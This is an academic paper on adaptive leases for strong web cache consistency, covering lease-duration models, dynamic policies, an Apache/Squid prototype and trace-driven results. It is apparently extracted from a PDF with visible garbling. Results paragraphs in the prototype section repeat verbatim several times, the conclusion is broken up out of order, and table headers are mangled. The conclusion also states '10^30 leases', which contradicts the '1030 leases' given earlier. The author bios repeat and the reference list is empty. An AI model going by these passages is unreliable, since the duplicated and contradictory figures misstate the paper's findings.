strong consistency ones may impose more overheads than are necessary on applications that don’t need strong guarantees. An incremental approach that augments existing mechanisms with those for strong consistency seems more practical and efficient. employing a server specified lifetime of an object (referred to as the time-to-live (TTL) value), or (ii) periodically polling the server to verify that the cached data is not stale [5], [2], [3]. In either case, modifications to the object before its TTL expires or between two successive polls causes the proxy to return stale data. Strong consistency can be enforced either by server-driven mechanisms or client-driven mechanisms [6]. The former approach, referred to as server-based invalidation, requires the server to notify proxies when the data changes. This approach substantially reduces the number of control messages exchanged between the server and the proxy (since messages are sent only when an object is modified). However, it requires the server to maintain per-object state consisting of a list of all proxies that cache the object; the amount of state maintained can be significant especially at popular web servers. Moreover, when a proxy is unreachable due to network failures, the server must either block on a write request until a timeout occurs, or risk violating consistency guarantees. The client-driven approach, also referred to as client polling, requires that proxies poll the server on every read to determine if the data has changed [6]. Frequent polling imposes a large message overhead and also increases the response time (since the proxy must await the result of its poll before responding to a read request). The advantage, though, is that it does not require any state to be maintained at the server, nor does the server ever need to block on a write request (since the onus of maintaining consistency is on the proxy). Server-based invalidation and client polling form two ends of a spectrum. Whereas the former minimizes the number of control messages exchanged but may require a significant amount of state to be maintained, the latter is stateless but can impose a large control message overhead. Figure 1 quantitatively compares these two approaches with respect to (i) the server overhead, (ii) the network overhead, and (iii) the client response time. Due to their large overheads, neither approach is appealing for web environments. A strong consistency mechanism suitable for the web must not only reduce client response time, but also balance both network and server overheads. One approach that provides strong consistency, while providing a smooth tradeoff between the state space overhead and the number of control messages exchanged, is leases [7]. In this approach, the server grants a lease to each request from a proxy. The lease duration denotes the interval of time during which the server agrees to notify the proxy if the object is modified. After the expiration of the lease, the proxy must send a message requesting renewal of the lease. The duration of the lease determines the server and network overhead. Smaller the lease duration, smaller is the server state space overhead, but larger is the number of control (lease renewal) messages exchanged and vice versa. In fact, an infinite lease duration reduces the approach to server-based invalidation, whereas a zero lease duration reduces it to client-polling. Thus, the leases approach spans the entire spectrum between the two extremes of server-based invalidation and client-polling. The concept of a lease was first proposed in the context of cache consistency in distributed file systems [7]. Recently some research groups have begun investigating the use of leases for maintaining consistency in web proxy caches. The use of leases for web proxy caches was first alluded to in [8] and was subsequently investigated in detail in [6]. The latter effort has focused on the design of volume leases—leases granted to a collection of objects—so as to reduce (i) the lease renewal overhead and (ii) the blocking overhead at the server due to unreachable proxies. Other efforts have focused on extending leases to hierarchical proxy cache architectures [9], [10]. Thus, most of the research on leases to date has focused on the mechanisms for efficiently granting and renewing leases. The problem of determining the optimal lease duration so as to balance the tradeoff between the state space overhead and the control message overhead has not received much attention and is the focus of this paper. C. Research Contributions In this paper, we argue that weak consistency mechanisms supported by today’s proxies must be augmented by strong consistency mechanisms to meet the growing diversity in application and user requirements. Since existing strong consistency mechanisms either impose a large state space overhead or a large control message overhead, we focus on the leases approach that balances these tradeoffs. We observe that the lease duration is the critical parameter that determines the efficiency of the leases algorithm and propose a number of techniques for determining the lease duration. First, we present analytical models that use constraints on the state space overhead and the control message overhead to compute an appropriate lease duration. Since these models are suitable only for scenarios where the load does not fluctuate rapidly, we then present a number of policies that enable a server to react to the fast time-scale variation in load. These policies require the lease duration to be computed afresh on each request, thereby enabling the server to immediately react to load fluctuations. Both techniques enable us to adapt the lease duration to the observed load, albeit at different time scales; hence we collectively refer to our techniques as adaptive leases. We have implemented the leases algorithm in the Apache web server and the Squid proxy cache. We present extensions made to the http/1.1 protocol to incorporate leases and then describe the details of our prototype implementation. Our implementation allows the proxy and the server to continue using existing weak consistency mechanisms and use the strong consistency provided by leases only when necessary. Finally, we experimentally demonstrate the efficacy of the leases algorithm using trace-driven simulations and the prototype implementation. Our results show that (i) the dynamic lease computation policies allow a server to optimize either the state space overhead or the control message overhead depending on which factor is the bottleneck, and (ii) the state space and control message overhead imposed is modest even for relatively long leases (e.g., a lease duration of 1 hour imposes a state space overhead of 1030 leases and a per-object control message overhead of 0.0005 msg/sec—a 425% and 138% improvement over server-invalidation and client polling, respectively). Results from our prototype implementation shows that the overhead of computing and renewing leases is small (around 4ms, or 4.3% of the client response time) and is comparable to existing cache consistency mechanisms such as time-to-live values. The rest of this paper is structured as follows. We present analytical models and adaptive policies for computing the lease duration in Sections III and IV, respectively. Section V discusses the details of our prototype implementation. Section VI presents our experimental results, and finally, Section VII presents some concluding remarks. II. ADAPTIVE LEASES Consider a web proxy that services user requests from its local cache, fetching requested objects from the server if necessary. Assume that the server and the proxy employ leases to provide strong consistency guarantees. Intuitively, a lease is a contract that gives its holder specific rights over property for a limited period of time [7]. In the context of web objects, a lease grants to its holder a guarantee that so long as the lease is valid the object will not be modified without prior notification. More formally, a lease for an object \( O \) consists of a pair \((s, d)\) where \(s\) and \(d\) denote the start time and the duration of the lease, respectively, and the server agrees to notify the holder of all updates to the object within the interval \( s \leq t < s + d \). In such an environment, a proxy must hold a valid lease on a cached object before responding to a client read request.\(^2\) The leases algorithm involves the following message exchange between the proxy and the server: 1. The first read for an object causes the proxy to send a lease grant request along with a GET request to the server; the server responds with the data along with a lease (or a lease denial). Subsequent reads are served by the proxy from its local cache as long as the lease remains valid. 2. A read request after the expiration of a lease causes the proxy to send a lease renewal request along with an if-modified-since (IMS) request to the server; the server responds with a new lease (or a lease denial) along with either a not-modified message or the updated object. 3. Modifications to the object during the validity of its lease cause the server to send invalidation messages to all proxies holding a lease on the object; the server defers the update until it receives invalidate acknowledgments from all proxies or the lease duration expires. Observe that, in addition to notifying the proxy of an update, the server can piggyback the update with the invalidation request [11]. Such piggybacking of modifications (also referred to as deltas [12]) can reduce the access latency for a subsequent read request without any significant increase in bandwidth requirements [13]. The crucial parameter that determines the efficiency of the lease algorithm is the lease duration \( d \). By appropriately determining \( d \), a server can balance the amount of state it needs to maintain and the number of control messages (lease renewal) exchanged. In what follows, we design techniques for determining an appropriate lease duration. Observe that, the leases algorithm does not impose any restriction on how \( d \) is computed. In particular, it does not require the lease duration to be fixed across objects or fixed for a particular object. We exploit this flexibility and propose a number of techniques and policies that balance various tradeoffs. We first present analytical models that use constraints on the state space overhead and control message overhead to compute an appropriate lease duration. A server can employ these models to compute a lease duration based on the observed load; the lease duration can be recomputed if the observed load changes. Since these models are only suitable for scenarios where the load does not fluctuate rapidly, we also present policies for dynamically determining the lease duration in the presence of varying load. By using the current load conditions to compute the lease duration, these policies can immediately react to load fluctuations. Both techniques enable us to adapt the lease duration to changing conditions, albeit at different time scales. Hence, we collectively refer to our techniques as adaptive leases. III. ANALYTICAL MODELS FOR COMPUTING THE LEASE DURATION Consider a web server that stores \( n \) data objects and services requests for these objects from proxies as well as end users. Whereas some requests require strong consistency guarantees from the server, weak consistency guarantees suffice for other requests. Let us consider only those requests that require strong consistency guarantees, and let \( R_i \) denote the read frequency for object \( i \) at a particular proxy \( p \) and let \( W_i \) denote its write frequency at the server.\(^3\) Let \( d_i \) denote the lease duration, and \[^2\] The original leases algorithm [7] required that a valid lease be held prior to both read and write requests. For web environments, we assume that clients can only read but not write to an object. Writes to objects are done in a controlled manner directly at the server; so proxies need not implement the part of the leases algorithm that deals with client writes. \[^3\] A sequence of consecutive writes with no intervening reads is counted as a single write request. This is because, after an invalidating the object from the cache due to the first write, the server need not send additional invalidations for \( s_i \) denote the start time of the lease for object \( i \). Depending on whether the state space at the server or the control messages overhead is the constraining factor, the lease duration can be computed as follows. ### A. Lease Duration Based on the State Space Overhead Let \( L \) denote the total state space (in terms of the number of simultaneous leases granted) that the server can maintain. Let \( \lambda_i^p \) denote the frequency of lease grant and renewal messages for object \( i \) sent by proxy \( p \). The proxy handles an average of \( [d_i \cdot R_i] \) read requests for object \( i \) over the duration of its lease. Thus, the cost of a lease grant or renewal request is amortized over \( [d_i \cdot R_i] \) read requests at the proxy. Hence, the frequency of lease grant and renewal messages is \[ \lambda_i^p = \frac{R_i}{[d_i \cdot R_i]} \quad (1) \] The frequency of lease grant/renewal requests for object \( i \) received by the server from all proxies is \[ \lambda_i = \sum_p \lambda_i^p \quad (2) \] The server grants a lease to each such request and maintains state for the lease over its lifetime \([s_i, s_i + d_i]\). To maintain this state, the server must allocate space by partitioning the total available space \( L \) among individual objects. We consider two different policies for doing so. First, we consider a policy that partitions the state space in proportion to the lease request/renewal frequency (popularity) of an object. Let \( l_i \) denote the space (in terms of number of leases) allocated to object \( i \). Then, \[ l_i = \left( \frac{\lambda_i}{\sum_j \lambda_j} \right) \cdot L \quad (3) \] Since the number of leases granted for object \( i \) in the steady state is \( d_i \cdot \lambda_i \), we have \[ d_i \cdot \lambda_i \leq l_i \quad (4) \] Substituting \( l_i \) from Equation 3 and simplifying, we get, \[ d_i \leq \frac{L}{\sum_{j=1}^{n} \lambda_j} \quad (5) \] Thus, if the available state space is partitioned in proportion to the popularity of an object, then the lease duration for the object is independent of its lease request/renewal (i.e., access) frequency \( \lambda_i \) and depends only on the aggregate request rate at the server. Moreover, the lease duration is identical for all objects stored at the server. Observe that such a policy is simple to implement, since the server needs to determine only the aggregate request rate to compute the lease duration and no per-object statistics need to be maintained. The lease duration can be recomputed periodically in case of fluctuations in the aggregate request rate. Our second policy partitions the available state space equally among all objects. Thus, \[ l_i = \frac{L}{n} \quad (6) \] Since the number of leases granted to object \( i \) in the steady state is \( d_i \cdot \lambda_i \), we have \[ d_i \cdot \lambda_i \leq l_i = \frac{L}{n} \quad (7) \] or \[ d_i \leq \frac{L}{n \cdot \lambda_i} \quad (8) \] In this case, the lease duration is inversely proportional to the request/renewal frequency of the object at the server. Thus, with an equal partitioning of state space across objects, more popular objects are granted shorter leases. ### B. Lease Duration Based on Control Message Overhead To compute the lease duration based on the control message overhead, we must first quantify the number of messages exchanged due to read and write requests. Since the proxy handles an average of \( [d_i \cdot R_i] \) read requests for object \( i \) over the duration of its lease, each lease or renewal request is amortized over \( [d_i \cdot R_i] \) reads. Hence the number of control messages per unit time due to read requests is \( R_i/[d_i \cdot R_i] \). Each write request results in an invalidation request from the server to the proxy and a subsequent read at the proxy triggers a fetch of the updated object.\(^4\) Thus, each write results in two control messages; the number of control messages per unit time due to write requests is \( 2W_i \). Observe that, we are only interested in control messages and the overhead of transferring data is not included here. Let \( C_i \) denote the bound on the frequency of control messages exchanged for object \( i \) between the server and a proxy. Then we have \[ \frac{R_i}{[d_i \cdot R_i]} + 2W_i \leq C_i \quad (9) \] Substituting \( [d_i \cdot R_i] \leq (1 + d_i \cdot R_i) \) and simplifying, we get \[ d_i \geq \frac{1}{C_i - 2W_i} - \frac{1}{R_i} \quad (10) \] Thus, the lease duration is inversely proportional to the control message overhead and depends on the read frequency \( R_i \) at a proxy as well as the write frequency \( W_i \) at the server. Furthermore, for a fixed control message overhead, the more popular an object at a proxy, the longer its lease. ### IV. Adaptive Policies for Computing the Lease Duration The analytical models presented in Section III enable a server to periodically recompute the lease duration based on the observed load. Such recomputations can be expected to occur over a slow time scale of tens of minutes or hours (since accurate 4 \( \) denotes a sequence of consecutive writes without any intervening reads is counted as a single write, since only a single invalidation message needs to be sent. Also, the derivation assumes \( R_i >> W_i \); which implies that a valid lease is always held during writes. estimates of the load require a large number of samples measured over a long time interval). Consequently, a server employing these models may not be able to react to fast time scale variations in the load. In this section, we present several policies that enable a server to compute the lease duration on-the-fly. Since the lease duration is computed afresh on each lease grant/renewal request, the server can quickly adapt to changing load conditions. Each policy that we present determines the lease duration based on a certain characteristic of the workload and allows a different metric to be optimized. A. Age-based Leases This policy is motivated by the bimodal nature of object lifetimes (most objects are long lived, while a majority of the updates go to young objects) [2]. Consequently, a server can reduce the number of invalidation messages it needs to send by granting short leases to frequently modified objects and long leases to long lived objects. Observe that, the policy requires the server to know object lifetimes in order to compute the lease duration. Since lifetimes may not be known a priori, we choose the age of the object to be a reasonable predictor of its lifetime. Hence, the lease duration is computed as \[ d_i = \tau \cdot \text{age}_i \] where \( \text{age}_i \) denotes the age of object \( i \) and \( \tau \) is a constant. Our policy assumes that, larger the age of the object, longer is its expected lifetime, and hence, older objects are granted longer leases. However, since the age of an object has no correlation to its popularity [14], old objects that are popular may impose a significant state space overhead on the server. Observe that, this policy is similar to the Alex protocol for computing TTL values [5], [2]. B. Renewal Frequency-based Leases The policy is motivated by (i) the skewed popularity of objects and (ii) the geographically skewed nature of accesses over the world wide web [2]. A server can exploit these factors to reduce the overhead of lease renewal messages. To do so, the server can grant longer leases to proxies that have a sustained interest in a object. Thus, not only do more popular objects get longer leases, only those proxies at which the object is popular get these long leases. Moreover, granting short leases to proxies that have only a limited interest in the object enables the server to reduce the state space overhead. To achieve these objectives, the lease duration is computed as \[ d_i = \tau \cdot \text{renewal}_i^p \] where \( \text{renewal}_i^p \) denotes the number of renewal messages sent by proxy \( p \) for object \( i \), and \( \tau \) is a constant. A limitation of this policy is that requests for cold objects that were popular in the past continue to be granted long leases. This limitation can be overcome by incorporating another term in Equation 12 that gradually decays the lease duration based on its popularity over a sliding window. C. State Space Overhead-based Leases In this policy, the lease duration is set to be inversely proportional to the amount of state maintained at the server. By granting shorter leases during periods of heavy load, the server can adaptively control the amount of state it needs to maintain. The lease duration for an object can be computed either based on the number of valid leases granted for a particular object or the aggregate number of leases granted by the server. That is, \[ d_i = \tau \cdot \frac{1}{\hat{N}_i} \quad \text{or} \quad d_i = \tau \cdot \frac{1}{\hat{L}} \] where \( \hat{N}_i \) and \( \hat{L} \) denote the number of leases granted for object \( i \) and for all objects at the server, respectively, and \( \tau \) is a constant. V. Prototype Implementation We have implemented the leases algorithm in the Squid proxy cache and the Apache web server. To do so, we first extended the HTTP/1.1 protocol to enable clients (proxies) to request and renew leases from a server. The HTTP/1.1 protocol allows user defined extensions as part of the request/response header; lease requests and responses use this feature and are piggybacked onto normal HTTP requests and responses. Lease renewals are piggybacked onto if-modified-since HTTP requests. Invalidation requests are also sent as request header extensions. The exact syntax for lease requests, renewals and invalidations is described in Figure 2. We have incorporated these extensions into the Apache web server (version 1.3.6). Note that, the HTTP protocol (and hence, the Apache web server) is inherently stateless, whereas the leases algorithm requires state to be maintained at the server. Our prototype preserves the stateless nature of the Apache web server by implementing tasks such as granting and renewing leases as well as invalidations in a separate lease server (leased). Such an architecture results in a clean separation of functionality between the Apache server, which handles normal HTTP processing, and the lease server which handles lease processing and maintains all the state information (see Figure 3). Whenever the Apache server receives a lease grant/renewal request piggybacked on a HTTP request, it forwards the former to the lease server for further processing. The results of the HTTP request and the lease request are then combined and sent back --- 5Source code for our prototype implementation is available from http://lass.cs.umass.edu/software/leases. to the client (proxy). Our lease server implements a number of policies for computing the lease duration; the exact policy to be used can be specified at startup time through a configuration file [15]. Invalidation requests are handled similarly—the web server forwards the request to the lease server, which then sends invalidations to all proxies caching that object. We have also modified the Squid proxy cache (version 2.2) to support leases. When configured to use leases, our modified Squid proxy sends a lease request with every HTTP request; expired leases are renewed by sending an if-modified-since request to the server (causing the object to be fetched if it has been modified since the lease expiration). Failures (e.g., network partitions) are detected by exchanging heartbeat messages—upon detecting an unreachable server, a proxy invalidates all objects with valid leases from that server. Our implementation of leases can coexist with other cache consistency mechanisms such as time-to-live values. The proxy and server can continue to use weak consistency mechanisms such as TTL using normal HTTP request and responses; requests that require strong consistency use HTTP requests/responses enhanced with lease directives. VI. EXPERIMENTAL EVALUATION In this section, we demonstrate the efficacy of leases by (i) comparing leases to other cache consistency mechanisms, (ii) evaluating the analytical models presented in Section III, and (iii) evaluating the adaptive lease policies presented in Section IV using trace-driven simulations and the prototype implementation. In what follows, we first present our experimental methodology and then our experimental results. A. Experimental Methodology A.1 Simulation Environment We have designed an event based simulator to evaluate the efficacy of various cache consistency mechanisms. The simulator simulates a proxy cache that receives requests from several clients. Cache hits are serviced using locally cached data, whereas a cache miss is simulated by fetching the object from the server. The proxy is assumed to employ a consistency mechanism to ensure the consistency of cached data with that stored on servers. The simulator supports various cache consistency mechanisms such as leases, server-invalidation, client-polling and time-to-live values. For our experiments, we assume that the proxy employs a disk-based cache to store objects. To determine an appropriate cache size for our experiments, we varied the cache size from 256MB to infinity and found that, for workloads under consideration, the improvements in hit ratios were marginal beyond 1GB. Hence, we choose a disk cache size of 1GB for our experiments so as to factor out the effect of capacity misses. The cache is assumed to be managed using a LRU cache replacement policy. Data retrievals from disk (i.e., cache hits) are modeled using an empirically derived disk model [16] with a fixed OS overhead added to each request. We choose the Seagate Barracuda 4LP disk for parameterizing the disk model [17]. For cache misses, data retrieval time over the network is modeled using the round-trip latency, the network bandwidth, and the object size. Since proxies are deployed close to clients but are distant from most servers, we choose 20 ms and 100KB/s for client-proxy latency and bandwidth, respectively; the proxy-server latency and bandwidth is chosen to be 200ms and 10KB/s (these parameters assume a LAN environment; our results hold for modern environments as well). In reality, network latencies and bandwidths vary depending on network conditions and distance between the source and the destination. Since we are interested in evaluating the efficacy of cache consistency mechanisms, use of a simple network model is adequate for our purpose. A.2 Workload Characteristics To generate the workload for our experiments, we use traces from actual proxies, each servicing several thousand clients over a period of several days. We employ three different traces for our experiments; the characteristics of these traces are shown in Table I. To understand the impact of leases on the proxy as well as the server, we determined the most popular server in each trace. We report experimental results for the entire trace (i.e., all servers in the trace) as well as the most popular server. Each request in the trace provides information such as the time of the request, the requested URL, the size of the object, the client making the request, etc. To determine when objects are modified, we considered using the last modified time values as reported in the trace. However, the BU trace did not include this information, and other traces included these values only when available (e.g., the last modified time value was unavailable in 37% of the requests contained in the Berkeley trace). Since last modified time values are crucial for evaluating cache consistency mechanisms, we employed an empirically derived model to generate synthetic write requests (and hence, last modified times) for our traces. Based on the observations in [2], we assume that 90% of all web objects change very infrequently (i.e., have an average lifetime of 60 days). We assume that 7% of all objects are mutable (i.e., have an average lifetime of 20 days) and the remaining 3% objects are very mutable (i.e., have an average lifetime of 5 days). We partition all objects in the trace into these three categories and generate write requests and last modified times assuming exponentially distributed lifetimes. The number of synthetic writes generated for each trace is shown in Table I. B. Comparison with Other Cache Consistency Schemes We first experimentally compare leases with server invalidation and client polling. To do so, we varied the lease duration from 0 to 7 days (the lease duration was kept fixed within each 6Since a recent study has shown that objects lifetimes and object popularity are uncorrelated [14], we ignored access frequency when partitioning objects into these three categories. experiment, independent of the workload characteristics) and measured its impact on the server and the proxy. Note that, a lease duration of 0 reduces the scheme to client polling, whereas a lease duration of 7 days (which is larger than the duration of the trace) reduces it to server invalidation. Figure 4 plots the state space overhead, the response time and the control message overhead for all servers in the DEC trace. Figure 5 plots these values for the most popular server in the trace. The figures show that the state space overhead increases with increasing lease duration (since a server must maintain state for each active lease for a longer duration) whereas the control message overhead decreases with increasing lease duration (since the proxy need not poll the server so long as the lease is active). The response time shows a corresponding decrease since cache hits can be serviced without polling the server. For a lease duration of 3600s (1 hour), our technique yields a 425% and 138% improvement in state space and control message overhead, respectively, as compared to server invalidation and client polling (see Figures 4(a) and (c)). Moreover, the degradation in response time as compared to server invalidation is modest at 7.1% (see Figure 4(b)). Figure 4(c) lists various components of the control messages exchanged between the server and the proxy. The figure shows that the number of if-modified-since (IMS) and not-modified messages decreases, whereas the number of invalidation messages increases as we proceed from client polling to server invalidation. The number of GET messages (resulting mostly from compulsory misses) remains relatively unchanged. Since the reduction in IMS and not-modified messages is larger than the increase in invalidation messages, the total control message overhead decreases with increasing lease duration. Together, Figures 4 and 5 demonstrate that by carefully choosing the lease duration a server can tradeoff state space overhead with the number of control messages exchanged, while providing strong consistency guarantees. In the remainder of this section, we study how various policies for computing the lease duration enable a server to make such tradeoffs. --- **TABLE I** **CHARACTERISTICS OF PROXY WORKLOAD TRACES** <table> <thead> <tr> <th>Trace</th> <th>Requests</th> <th>Duration (sec)</th> <th>Mean request rate (req/s)</th> <th>Unique URLs</th> <th>Number of synthetic writes</th> </tr> </thead> <tbody> <tr> <td></td> <td></td> <td></td> <td>total</td> <td>Most popular server</td> <td>Most popular object</td> </tr> <tr> <td>DEC</td> <td>1228248</td> <td>146956</td> <td>8.358</td> <td>0.2864</td> <td>0.1565</td> </tr> <tr> <td>Berkeley</td> <td>1000000</td> <td>154604</td> <td>6.4</td> <td>0.0457</td> <td>0.0258</td> </tr> <tr> <td>Boston Univ (BU)</td> <td>590956</td> <td>8599470</td> <td>0.0687</td> <td>0.0233</td> <td>0.0116</td> </tr> </tbody> </table> --- ![State Space overhead, DEC trace](image1) ![Response time, DEC trace](image2) ![Control message overhead](image3) Fig. 4. The state space overhead, response times and control message overhead of various cache consistency mechanisms. ![State Space overhead, DEC trace](image4) ![Response time, DEC trace](image5) ![Control message overhead](image6) Fig. 5. Performance for the most popular server --- ³Results from other traces are similar; we omit them due to space constraints. C. Efficacy of the model To evaluate the effectiveness of the model presented in Section III, we first plot the relationship between the state space overhead (i.e., the number of active leases $l_i$) and the control message overhead $C_i$. Recall from Eq. 4 and 10, that $$l_i = \frac{\lambda_i}{C_i} - \frac{\lambda_i}{R_i}$$ Figures 6(a) and (b) depict this relationship between $l_i$ and $C_i$ for the most frequently accessed object in the DEC trace and various write frequencies, respectively. The figure shows that the state space overhead and the control message overhead are inversely proportional to each other. Thus depending on the constraints, a server can trade one for the other by choosing a particular point on this curve, which in turn yields a particular lease duration. Figures 7 and 8 further illustrate this tradeoff. Figure 7(a), obtained from Eq. 4, shows that, for a fixed state space overhead, increasing the aggregate request rate at the server results in a decrease in the lease duration (since the server must grant shorter leases to keep the state space overhead fixed). Figure 7(b) shows that, for a fixed request rate, allocating a larger state space overhead enables a server to proportionately increase the lease duration. The figure also shows that, even for relatively long leases (about 3600s or 1 hour), the state space overhead is modest (1030 leases). Figure 8(a) and (b), obtained using Eq 10, show the impact of the request rate at a proxy and the control message overhead on the lease duration. Figure 8(a) shows that, for a given $C_i$, increasing the read request rate $R_i$ causes the lease duration to increase (since the server must grant longer leases to keep the control message overhead fixed). Increasing the control message overhead, on the other hand, enables the server to grant shorter leases (see Figure 8(b)). The figure also shows that for a lease duration of 3600s (1 hour), the control message overhead is 0.0005/s (a message every 33 minutes). Finally, Table II shows the lease durations for various trace workloads obtained using our analytical models. The values shown assume a state space overhead of 0.001 msgs/s. D. Efficacy of Adaptive Leases To demonstrate the efficacy of the adaptive leases policies presented in Section IV, we varied the average lease duration by varying the parameter $\tau$. Figure 9 plots the state space overhead, control message overhead and response time yielded by each policy for different lease durations. The figure illustrates the following salient features. Renewal-based leases provide longer leases to more popular objects. By doing so, they incur a smaller control message overhead at the expense of a larger state space overhead. For a given $\tau$, the state-space-based lease policy maintains a fixed state space overhead regardless of the load, and hence, the policy incurs the smallest state space overhead (at the expense of a higher control message overhead). Age-based leases neither take the access frequency of an object nor the state space overhead into account. Hence, it incurs the largest control message overhead and response times among the three policies. Together these experiments show that renewal-based leases and state space-based leases are appropriate when the control message overhead and state space overhead, respectively, are constraining factors. As shown in the next section, age-based leases are suitable for optimizing the number of invalidation messages resulting from frequently updated objects. E. Impact of Object Lifetimes Figure 10 depicts the impact of object lifetimes on the performance of various adaptive leases policies. Figure 10(a) shows the effect of increasing the object lifetime on the lease duration. Since only the age-based lease policy uses object lifetimes to compute the lease duration, the figure shows that the lease duration increases linearly with increase in object lifetime. The lease duration remains relatively unchanged for the other two policies (since they are independent of object lifetimes). Figure 10(b) shows, for a particular lease duration, that the number of control messages exchanged decreases with increasing object lifetimes. This is because increasing the object lifetime reduces the write frequency for that object and the number of invalidation messages a server must send after each write. Age-based leases exploit this property by granting longer leases to older objects, thereby reducing the number of invalidation messages and state space overhead for frequently updated (young) objects. F. Results from the Prototype Implementation In the preceding sections, we examined the efficacy of various techniques to compute the lease duration. In this section, we study the overhead of granting, renewing and invalidating leases using our prototype implementations. The testbed for our microbenchmarks consisted of the augmented web server (httpd and leased), the Squid proxy cache and the client running on a cluster of PC-based workstations. Each PC used in our experiments is a 350MHz Pentium II with 64MB RAM and runs RedHat Linux 5.1; all machines were interconnected by a 10Mb/s ethernet. Our experiment for measuring the overhead of granting a lease consisted of a client that requested a 1KB file first from an unmodified Apache/Squid combination and then from our prototype implementation. The experiment was repeated 2000 times and Table III lists the client response time and the overhead of the leases algorithm at the server. As shown, the overhead of granting a lease is only 3.77ms in our untuned implementation, which is 4.3% of the total response time. Next we compared the overhead of lease renewals to an unmodified Squid that refreshes an expired TTL value using an IMS request. As shown in Table III the overhead of granting a lease is only 3.77ms in our untuned implementation. The experiment was repeated 2000 times and Table III lists the client response time and the overhead of the leases algorithm at the server. As shown, the overhead of granting a lease is only 3.77ms in our untuned implementation, which is 4.3% of the total response time. Next we compared the overhead of lease renewals to an unmodified Squid that refreshes an expired TTL value using an IMS request. As shown in Table III the overhead of granting a lease is only 3.77ms in our untuned implementation, which is 4.3% of the total response time. **Fig. 6.** Relationship between the number of active leases and number of control messages exchanged **Fig. 7.** Effect of request rate and available state space on lease duration. **TABLE II** <table> <thead> <tr> <th>Trace</th> <th>Request rate for Most Popular Server (λ)</th> <th>Request rate for Most Popular Object (λ_i)</th> <th>d = λ / λ_i</th> <th>d = λ_i / nλ_i</th> <th>d = 1 / (C - 2W_t - R_i)</th> </tr> </thead> <tbody> <tr> <td>DEC</td> <td>0.2864</td> <td>0.01565</td> <td>58.2 min</td> <td>53 sec</td> <td>15.6 min</td> </tr> <tr> <td>Berkeley</td> <td>0.0457</td> <td>0.02587</td> <td>360 min</td> <td>5.47 sec</td> <td>16.1 min</td> </tr> <tr> <td>BU</td> <td>0.02329</td> <td>0.01166</td> <td>715.6 min</td> <td>85.7 sec</td> <td>15.31 min</td> </tr> </tbody> </table> **Fig. 8.** Effect of request rate and control message overhead on lease duration. TABLE III OVERHEAD OF GRANTING AND RENEWING LEASES <table> <thead> <tr> <th></th> <th>Client response time</th> <th>Server overhead</th> </tr> </thead> <tbody> <tr> <td>Unmodified</td> <td>76.7ms</td> <td>-</td> </tr> <tr> <td>Grant lease</td> <td>86.6ms</td> <td>3.77ms</td> </tr> <tr> <td>Renew lease</td> <td>112.3ms</td> <td>4.31ms</td> </tr> <tr> <td>Refresh TTL</td> <td>112.0ms</td> <td>-</td> </tr> </tbody> </table> VII. CONCLUDING REMARKS In this paper, we argued that weak cache consistency mechanisms supported by existing web proxy caches must be augmented by strong consistency mechanisms to support the growing diversity in application requirements. Existing strong consistency mechanisms are not appealing for web environments due to their large state space or control message overhead. We focused on the leases approach that balances these tradeoffs and presented analytical models and policies for determining the optimal lease duration. We presented extensions to the HTTP protocol to incorporate leases and then described our prototype implementation using the Squid proxy cache and the Apache web server. An advantage of our approach is that it can coexist with other weak consistency mechanisms [18]. Our experimental evaluation of the leases approach showed that: (i) our techniques impose modest overheads even for long leases (a lease duration of 1 hour requires state to be maintained for 10^30 leases and imposes an per-object overhead of a control message every 33 minutes); (ii) leases yields a 138–425% improvement over existing strong consistency mechanisms; and (iii) the im- constraints [15]. Thus, the above experiments demonstrate that the leases algorithm can be efficiently implemented with overheads comparable to existing techniques. plementation overhead of leases is comparable to existing weak consistency mechanisms. **ACKNOWLEDGMENTS** The authors would like to thank Krithi Ramamritham for numerous discussions on this topic. This research was supported in part by a NSF Career award CCR-9984030, NSF grants ANI 9977635, CCR-0098060, EIA-0080119, Intel, IBM, EMC, Sprint, and the University of Massachusetts. **REFERENCES** Venkata Duvvuri received his Masters of Science in Computer Science from the University of Massachusetts Amherst in 1999. His research interests are web caching and cache consistency and he is currently a Software Engineer at VIP Tone. Prashant Shenoy received his B. Tech in Computer Science and Engineering from IIT Bombay, India in 1993, and his M.S. and Ph.D. in Computer Sciences from the University of Texas at Austin in 1994 and 1998, respectively. He is currently an Assistant Professor in the Department of Computer Science at the University of Massachusetts Amherst. His research interests are multimedia file systems, operating systems, computer networks and distributed systems. Over the past few years, he has been the recipient of the National Science Foundation CAREER award, the IBM Faculty Development Award, and the UT Computer Science Best Dissertation Award. He is a member of the ACM and the IEEE. Renu Tewari received her Ph.D. in Computer Sciences from the University of Texas at Austin in 1998. She is currently a research staff member at the IBM T.J. Watson Research Center. Her main interests are web caching, content distribution networks, edge services, web server architecture and quality-of-service. She is actively involved in IETF standards related to caching and CDNs. IBM Faculty Development Award, and the UT Computer Science Best Dissertation Award. He is a member of the ACM and the IEEE. Renu Tewari received her Ph.D. in Computer Sciences from the University of Texas at Austin in 1998. She is currently a research staff member at the IBM T.J. Watson Research Center. Her main interests are web caching, content distribution networks, edge services, web server architecture and quality-of-service. She is actively involved in IETF standards related to caching and CDNs.
{"Source-Url": "https://none.cs.umass.edu/papers/ps/TKDE02.pdf", "len_cl100k_base": 10520, "olmocr-version": "0.1.53", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 38053, "total-output-tokens": 12132, "length": "2e13", "weborganizer": {"__label__adult": 0.0003407001495361328, "__label__art_design": 0.0005044937133789062, "__label__crime_law": 0.00044345855712890625, "__label__education_jobs": 0.0016155242919921875, "__label__entertainment": 0.0001722574234008789, "__label__fashion_beauty": 0.00020945072174072263, "__label__finance_business": 0.00074005126953125, "__label__food_dining": 0.000362396240234375, "__label__games": 0.0007085800170898438, "__label__hardware": 0.0026226043701171875, "__label__health": 0.0008449554443359375, "__label__history": 0.0005054473876953125, "__label__home_hobbies": 0.00010544061660766602, "__label__industrial": 0.0005125999450683594, "__label__literature": 0.0004329681396484375, "__label__politics": 0.0003306865692138672, "__label__religion": 0.0004606246948242187, "__label__science_tech": 0.363037109375, "__label__social_life": 0.00010585784912109376, "__label__software": 0.0400390625, "__label__software_dev": 0.5849609375, "__label__sports_fitness": 0.0002231597900390625, "__label__transportation": 0.0005602836608886719, "__label__travel": 0.0002465248107910156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 52964, 0.01888]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 52964, 0.3072]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 52964, 0.90473]], 